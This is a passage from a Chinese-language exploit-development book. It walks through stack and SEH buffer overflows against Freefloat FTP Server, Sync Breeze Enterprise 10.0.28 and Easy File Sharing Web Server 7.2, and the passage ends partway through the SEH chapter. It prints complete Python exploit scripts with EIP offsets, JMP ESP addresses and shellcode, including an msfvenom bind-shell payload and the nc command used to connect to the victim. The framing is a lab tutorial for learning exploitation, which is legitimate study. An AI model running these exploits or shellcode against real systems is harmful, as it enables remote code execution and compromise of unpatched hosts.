injection = junk+eip
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')
关闭 Immunity Debugger,然后再次启动它并启动 Freefloat FTP 服务器,将其附加到 Immunity Debugger 中,然后运行程序。然后执行我们的利用:
$ ./exploit.py
上述命令的输出可以在以下截图中看到:
另外,让我们看看寄存器:
EIP
现在包含42424242
;所以我们现在控制了EIP
。
让我们继续下一阶段,找到一个地方放置我们的 shellcode 并注入它。
注入 shellcode
让我们看看分析 Freefloat FTP 服务器内部模式的另一种方法:
#!/usr/bin/python
import socket
import sys
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
让我们重新运行 Freefloat FTP 服务器,将其附加到 Immunity Debugger 中,然后点击运行程序图标。然后运行利用:
$ ./exploit.py
程序将再次崩溃;然后,从命令栏输入!mona findmsp
:
根据 Rapid7 博客blog.rapid7.com/2011/10/11/monasploit/
,findmsp
命令执行以下操作:
-
在进程内存中(正常或 unicode 扩展)寻找循环模式的前 8 个字节的任何地方。
-
查看所有寄存器,并列出指向模式的部分或被覆盖的寄存器。如果寄存器指向模式,则它将显示偏移量和该偏移量之后内存中模式的长度。
-
在堆栈上寻找指向模式部分的指针(显示偏移量和长度)。
-
在堆栈上寻找模式的痕迹(显示偏移量和长度)。
-
查询 SEH 链,并确定它是否被循环模式覆盖。
之后,按下Enter:
这个分析告诉我们确切的偏移量是230
。它还告诉我们,最好放置 shellcode 的地方是在堆栈内部,并且将使用 ESP 寄存器,因为没有一个模式从堆栈中脱离出来。所以,让我们继续之前的步骤。
我们的利用应该是这样的:
现在,让我们找到JMP ESP
的地址:
然后,搜索JMP ESP
:
现在我们需要选择任何地址来执行跳转到 ESP。我会选择75BE0690
。
对于 shellcode,让我们选择一些小的东西;例如,让我们尝试这个 shellcode 在www.exploit-db.com/exploits/40245/
,它在受害者的机器上生成一个消息框:
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0"
因此,我们的最终 shellcode 应该是这样的:
让我们创建我们的最终利用:
#!/usr/bin/python
import socket
import sys
shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";
junk = 'A'*230
eip = '\x90\x06\xbe\x75'
nops = '\x90'*10
injection = junk+eip+nops+shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')
现在我们已经准备好了;让我们重新运行 Freefloat FTP 服务器,然后运行我们的利用:
$ ./exploit.py
上述命令的输出可以在以下截图中看到:
我们的利用成功了!
一个例子
我希望你尝试这个例子,但使用一个不同的参数,例如MKD
参数,我会给你一段代码来开始:
#!/usr/bin/python
import socket
import sys
junk = ' '
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD' + junk +'\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close()
就像这个场景一样,所以尝试更有创意一些。
总结
在这一章中,我们从模糊化开始了一个真实且完整的场景。然后我们看了如何控制 EIP,然后注入和执行 shellcode。
在下一章中,我们将使用一个不同的方法来进行真实世界的场景,即拦截和模糊化 HTTP 头部内的参数。
第十章:真实场景-第 2 部分
在本章中,我们将练习利用开发,但从不同的角度,即我们的易受攻击的参数将在 HTTP 标头中。我们将看看如何拦截并查看 HTTP 标头的实际内容。
本章涵盖的主题如下:
-
同步 Breeze 企业
-
模糊测试
-
控制指令指针
-
注入 shellcode
同步 Breeze 企业
我们今天的场景将是 Sync Breeze Enterprise V.10.0.28。您可以在www.exploit-db.com/exploits/42928/
上看到攻击,也可以从中下载易受攻击的版本或www.exploit-db.com/apps/959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe
。
下载并安装它。然后打开它,转到工具|高级选项|服务器。确保启用端口 80 上的 Web 服务器已激活:
保存更改。然后,从我们的攻击机器上,通过 Firefox,使用端口80
连接到此服务,这给了我们这个页面:
现在,让我们尝试对登录参数进行一些模糊测试:
模糊测试
现在,让我们使用 Python 生成一些A
字符:
让我们复制此字符串并将其用作此登录表单的输入:
然后,让我们从此窗口复制实际输入并获取实际输入的长度:
输入的实际长度为64
,我们注入了100
。客户端端有一些东西阻止我们注入超过64
个字符。只需右键单击“用户名”文本输入,然后导航到检查|元素即可确认:
我们可以简单地更改maxlength="64"
的值并继续进行模糊测试,但我们需要构建我们的攻击。让我们尝试使用任何代理应用程序,如 Burp Suite 或 OWASP ** Zed Attack Proxy ( ZAP **)查看 HTTP 标头的内容。我将在这里使用 Burp Suite 并设置代理,以便我可以拦截此 HTTP 标头。
启动 Burp Suite,然后转到代理|选项,并确保 Burp Suite 正在侦听环回地址 127.0.0.1 上的端口8080
:
然后,通过您的浏览器,使用端口8080
在环回地址127.0.0.1
上设置代理:
准备登录页面,并通过导航到代理|拦截来激活 Burp Suite 中的拦截:
现在,拦截已准备就绪。让我们在登录表单中注入任意数量的字符,然后单击登录并返回到 Burp Suite:
关闭 Burp Suite。将代理设置回正常状态,然后使用此标头构建我们的模糊代码并对用户名
参数进行模糊测试:
#!/usr/bin/python
import socket
junk =
payload="username="+junk+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()
让我们从300
开始:
junk = 'A'*300
现在,将 Sync Breeze 附加到 Immunity Debugger(以管理员身份运行 Immunity Debugger):
确保将其附加到服务器(syncbrs
),而不是客户端(syncbrc
),然后点击运行程序。
现在,在我们的攻击机器上启动攻击代码:
什么也没发生。让我们将模糊值增加到700
:
junk = 'A'*700
然后重新运行攻击:
再次什么也没发生。让我们将模糊值增加到1000
:
junk = 'A'*1000
现在,重新运行攻击:
成功了!让我们也看看寄存器:
堆栈中有A
字符:
控制指令指针
好的,完美。让我们创建模式以获取 EIP 的偏移量:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 1000
现在,将垃圾值重置为新模式:
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
关闭 Immunity Debugger,转到任务管理器|服务|服务...;现在,选择 Sync Breeze Enterprise,然后选择开始以重新启动服务:
然后,确保程序正在运行并已连接:
现在,再次以管理员身份运行 Immunity Debugger,附加syncbrs
,并运行程序。
然后,从攻击机器上运行攻击:
现在 EIP 值是42306142
;让我们找到这个确切的 EIP 偏移量:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 42306142 -l 1000
前述命令的输出可以在以下截图中看到:
此外,我们可以在 Immunity Debugger 中使用mona
插件:
!mona findmsp
前述命令的输出可以在以下截图中看到:
让我们确认:
#!/usr/bin/python
import socket
junk = 'A'*780
eip = 'B'*4
pad = 'C'*(1000-780-4)
injection = junk + eip + pad
payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()
关闭 Immunity Debugger 并启动 Sync Breeze Enterprise 服务,并确保程序正在运行和连接。然后,启动 Immunity Debugger(作为管理员),附加syncbrs
,并运行程序。
然后重新运行攻击:
现在,我们可以控制指令指针:
注入 shell 代码
因此,我们最终的注入应该是这样的:
关闭 Immunity Debugger 并启动 Sync Breeze Enterprise 服务,并确保程序正在运行和连接。然后启动 Immunity Debugger,附加syncbrs
,并运行程序。
好的,让我们找到JMP ESP
:
然后,搜索JMP ESP
:
我们得到了一个很长的列表;让我们随便选一个,10090c83
:
我们选择了这个地址,因为这个位置对应应用程序(libspp.dll
)是持久的。如果我们选择了与系统相关的地址(如SHELL32.dll
或USER32.dll
),那么该地址会在系统重新启动时发生变化。正如我们在上一章中看到的,它只在运行时起作用,在系统重新启动时将无效。
eip = '\x83\x0c\x09\x10'
让我们也设置 NOP sled:
nops = '\x90'*20
现在,让我们在端口4321
上生成一个绑定 TCP shell 代码:
$ msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4321 -b '\x00\x26\x25\x0A\x2B\x3D\x0D' -f python
前述命令的输出可以在以下截图中看到:
我们最终的攻击代码应该是这样的:
#!/usr/bin/python
import socket
buf = ""
buf += "\xda\xd8\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xc1\x30"
buf += "\xc9\xe4\x0e\x36\x32\x14\xcf\x57\xba\xf1\xfe\x57\xd8"
buf += "\x72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5"
buf += "\x5f\xcf\x01\xc8\x60\x7c\x71\x4b\xe3\x7f\xa6\xab\xda"
buf += "\x4f\xbb\xaa\x1b\xad\x36\xfe\xf4\xb9\xe5\xee\x71\xf7"
buf += "\x35\x85\xca\x19\x3e\x7a\x9a\x18\x6f\x2d\x90\x42\xaf"
buf += "\xcc\x75\xff\xe6\xd6\x9a\x3a\xb0\x6d\x68\xb0\x43\xa7"
buf += "\xa0\x39\xef\x86\x0c\xc8\xf1\xcf\xab\x33\x84\x39\xc8"
buf += "\xce\x9f\xfe\xb2\x14\x15\xe4\x15\xde\x8d\xc0\xa4\x33"
buf += "\x4b\x83\xab\xf8\x1f\xcb\xaf\xff\xcc\x60\xcb\x74\xf3"
buf += "\xa6\x5d\xce\xd0\x62\x05\x94\x79\x33\xe3\x7b\x85\x23"
buf += "\x4c\x23\x23\x28\x61\x30\x5e\x73\xee\xf5\x53\x8b\xee"
buf += "\x91\xe4\xf8\xdc\x3e\x5f\x96\x6c\xb6\x79\x61\x92\xed"
buf += "\x3e\xfd\x6d\x0e\x3f\xd4\xa9\x5a\x6f\x4e\x1b\xe3\xe4"
buf += "\x8e\xa4\x36\x90\x86\x03\xe9\x87\x6b\xf3\x59\x08\xc3"
buf += "\x9c\xb3\x87\x3c\xbc\xbb\x4d\x55\x55\x46\x6e\x49\x47"
buf += "\xcf\x88\x03\x97\x86\x03\xbb\x55\xfd\x9b\x5c\xa5\xd7"
buf += "\xb3\xca\xee\x31\x03\xf5\xee\x17\x23\x61\x65\x74\xf7"
buf += "\x90\x7a\x51\x5f\xc5\xed\x2f\x0e\xa4\x8c\x30\x1b\x5e"
buf += "\x2c\xa2\xc0\x9e\x3b\xdf\x5e\xc9\x6c\x11\x97\x9f\x80"
buf += "\x08\x01\xbd\x58\xcc\x6a\x05\x87\x2d\x74\x84\x4a\x09"
buf += "\x52\x96\x92\x92\xde\xc2\x4a\xc5\x88\xbc\x2c\xbf\x7a"
buf += "\x16\xe7\x6c\xd5\xfe\x7e\x5f\xe6\x78\x7f\x8a\x90\x64"
buf += "\xce\x63\xe5\x9b\xff\xe3\xe1\xe4\x1d\x94\x0e\x3f\xa6"
buf += "\xa4\x44\x1d\x8f\x2c\x01\xf4\x8d\x30\xb2\x23\xd1\x4c"
buf += "\x31\xc1\xaa\xaa\x29\xa0\xaf\xf7\xed\x59\xc2\x68\x98"
buf += "\x5d\x71\x88\x89"
junk = 'A'*780
eip = '\x83\x0c\x09\x10'
nops = '\x90'*20
injection = junk + eip + nops + buf
payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r 2;n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()
准备好了!让我们关闭 Immunity Debugger 并启动 Sync Breeze Enterprise 服务;然后运行攻击。
现在,使用nc
命令连接受害机:
$ nc 192.168.129.128 4321
前述命令的输出可以在以下截图中看到:
成功了!
总结
在本章中,我们执行了与上一章相同的步骤,但是增加了与 HTTP 头部相关的一小部分。我希望你能在www.exploit-db.com中浏览,尝试找到任何缓冲区溢出,并像我们在这里做的那样制作自己的攻击。你练习得越多,就会越精通这种攻击!
在下一章中,我们将看一个完整的结构化异常处理(SEH)的实际例子。
第十一章:真实场景 - 第 3 部分
这是我们书中最后的实际部分。它采用了不同的方法,专注于基于结构化异常处理(SEH)的缓冲区溢出,也基于 HTTP 头部,但使用了 GET 请求。
Easy File Sharing Web Server
我们的目标是 Easy File Sharing Web Server 7.2。您可以在www.exploit-db.com/exploits/39008/
找到利用程序,并可以从www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
下载易受攻击的应用程序。
下载并安装应用程序;如果您在上一个实验中已经这样做了,那么我们需要关闭 Sync Breeze Enterprise 中的 Web 服务器,因为我们需要端口80
。
打开 Sync Breeze Enterprise 并导航到 Tools | Advanced Options... | Server,确保在端口上启用 Web 服务器被禁用:
点击保存以保存更改并关闭它。
打开 Easy File Sharing Web Server:
点击 Try it!。当应用程序打开时,点击左上角的 Start:
Fuzzing
我们的参数是GET
参数;请看以下截图:
GET
后面的/
是我们的参数;让我们构建我们的 fuzzing 代码:
#!/usr/bin/python
import socket
junk =
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n")
s.close()
在受害机器上,以管理员身份启动 Immunity Debugger 并附加到fsws
:
让我们从1000
开始一个 fuzzing 值:
junk = 'A'*1000
然后运行利用程序:
什么都没发生;让我们增加到3000
:
junk = 'A'*3000
然后,再次运行利用程序:
再次,一样;让我们尝试5000
:
junk = 'A'*5000
然后,再次运行利用程序:
还要在堆栈窗口中向下滚动;您将看到我们成功溢出了 SEH 和 nSEH:
我们可以通过导航到 View | SEH chain 或(Alt + S)来确认:
控制 SEH
现在,让我们尝试通过使用 Metasploit 创建模式来获取 SEH 的偏移量:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 5000
利用程序应该是这样的:
#!/usr/bin/python
import socket
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4